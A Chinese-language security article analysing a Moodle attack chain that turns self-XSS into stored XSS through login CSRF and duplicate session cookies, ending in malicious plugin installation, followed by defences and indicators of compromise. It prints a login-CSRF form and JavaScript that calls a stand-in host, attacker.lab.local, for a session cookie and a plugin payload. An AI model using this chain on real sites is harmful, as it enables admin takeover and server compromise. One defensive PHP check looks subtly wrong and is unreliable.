利用Moodle自身特性与其他漏洞来发动XSS攻击
字数 1675 2025-08-29 08:32:18
Moodle XSS攻击技术分析与防御指南
1. 漏洞概述
Moodle学习管理系统存在一种结合自身特性与多个漏洞的综合攻击方式,允许攻击者将self-XSS升级为常规XSS攻击,最终可能导致服务器被完全控制。
核心漏洞组合
- Self-XSS漏洞:Moodle允许用户在个人仪表板(仅自己可见)嵌入任意HTML
- 登录CSRF漏洞:缺乏CSRF保护的登录表单
- 双会话Cookie处理特性:PHP和浏览器对同名Cookie的不同处理方式
2. 技术原理详解
2.1 Self-XSS基础
Moodle的"正常功能"允许用户在自己的仪表板添加包含脚本的HTML块,这通常被认为是安全的,因为仪表板仅对用户自己可见。
2.2 双会话Cookie机制
PHP处理方式
- 当请求包含多个同名Cookie时,PHP只使用第一个出现的Cookie值
- 示例请求中,只有第一个MoodleSession会被识别:
GET /my/ HTTP/1.1 Cookie: MoodleSession=0ab0af2b5369369af1fae6b097cf64f7; MoodleSession=d879cda2c1b27a4eefa02e7a48a63d73
浏览器处理方式
- Chrome/Firefox允许发送多个同名Cookie,条件是:
- 位于不同路径
- Cookie值不同
- 路径匹配规则:
- 请求路径为
/my/时发送两个Cookie - 其他路径只发送路径为
/的Cookie
- 请求路径为
- 浏览器优先发送路径更具体的Cookie
2.3 攻击场景构建
- 设置两个Cookie:
- Cookie1:
MoodleSession=Alice_session; path=/ - Cookie2:
MoodleSession=Bob_session; path=/my/
- Cookie1:
- 效果:
- 访问
/my/:使用Bob的会话(路径更具体) - 访问其他路径:使用Alice的会话
- 访问
3. 完整攻击流程
3.1 攻击准备
- 攻击者账户:attacker
- 目标账户:admin
- 攻击者控制服务器:attacker.lab.local
3.2 第一阶段:设置恶意脚本
- 攻击者在自己的仪表板嵌入JavaScript代码
- 关键代码功能:
// 检查是否已设置"中毒"cookie if (!document.cookie.includes("poisoned")) { // 获取攻击者的会话cookie let req = new XMLHttpRequest(); req.open("GET", "http://attacker.lab.local/cookie.php"); // 设置两个关键cookie document.cookie = "MoodleSession=" + attackerCookie + "; path=/my/"; document.cookie = "poisoned=1; path=/my/"; // 注销当前会话 let logoutURL = document.querySelector("a[data-title='logout,moodle']").href; document.location.replace(logoutURL); }
3.3 第二阶段:诱导受害者
- 使用登录CSRF强制受害者登录到attacker账户:
<form action="http://moodle.lab.local/login/index.php" method="POST"> <input type="hidden" name="username" value="attacker" /> <input type="hidden" name="password" value="Password1!" /> </form> <script>document.forms[0].submit();</script> - 受害者执行流程:
- 登录attacker账户 → 加载恶意仪表板 → 设置特殊Cookie → 自动注销
3.4 第三阶段:触发攻击
- 受害者使用同一浏览器登录自己的admin账户
- 访问
/my/时:- 浏览器发送两个MoodleSession Cookie
- Moodle使用路径为
/my/的Cookie(attacker的会话) - 加载attacker的仪表板,执行第二阶段恶意代码
3.5 最终Payload示例
// 从攻击者服务器下载恶意插件
let req = new XMLHttpRequest();
req.open("GET", "http://attacker.lab.local/plugin.zip");
// 模拟管理员上传插件操作
let formData = new FormData();
formData.append("plugin", pluginFile);
formData.append("sesskey", adminSesskey);
req.open("POST", "/admin/tool/installaddon/install.php");
req.send(formData);
4. 替代攻击路径:利用模拟功能
如果登录CSRF被修复,攻击者可:
- 诱导管理员模拟attacker账户
- 管理员查看attacker仪表板时触发相同攻击链
5. 防御措施
5.1 针对Moodle管理员
-
修复登录CSRF:
- 为登录表单添加CSRF令牌
- 检查Referer头
-
限制HTML块功能:
- 禁用或严格过滤用户仪表板的HTML内容
- 实现CSP(内容安全策略)
-
会话管理增强:
- 检测并拒绝包含多个会话Cookie的请求
- 实现会话固定保护
-
模拟功能加固:
- 记录所有模拟操作
- 要求二次认证进行模拟
5.2 针对开发者
-
正确处理同名Cookie:
if (count($_COOKIE['MoodleSession']) > 1) { // 记录安全事件并终止会话 } -
实施严格的输入过滤:
$purifier = new HTMLPurifier(); $clean_html = $purifier->purify($user_input); -
关键操作验证:
// 插件安装前验证用户权限 if (!is_siteadmin()) { die('Access denied'); }
5.3 针对终端用户
- 使用不同浏览器进行管理员操作
- 定期清除Cookie
- 警惕不明链接和模拟请求
6. 检测与响应
6.1 攻击指标(IoC)
- 日志中出现多个MoodleSession Cookie的请求
- 用户仪表板中出现异常HTML块
- 异常的插件安装活动
6.2 应急响应步骤
- 隔离受影响系统
- 审查所有最近安装的插件
- 重置所有用户会话
- 审计日志寻找其他可疑活动
7. 总结
这种攻击方式展示了如何将看似无害的功能(self-XSS)与其他漏洞结合,创造出严重的系统威胁。防御需要多层次的安全措施,包括正确的会话处理、输入验证和权限控制。特别值得注意的是,即使单独来看某些功能是安全的,它们的组合可能会产生意想不到的安全隐患。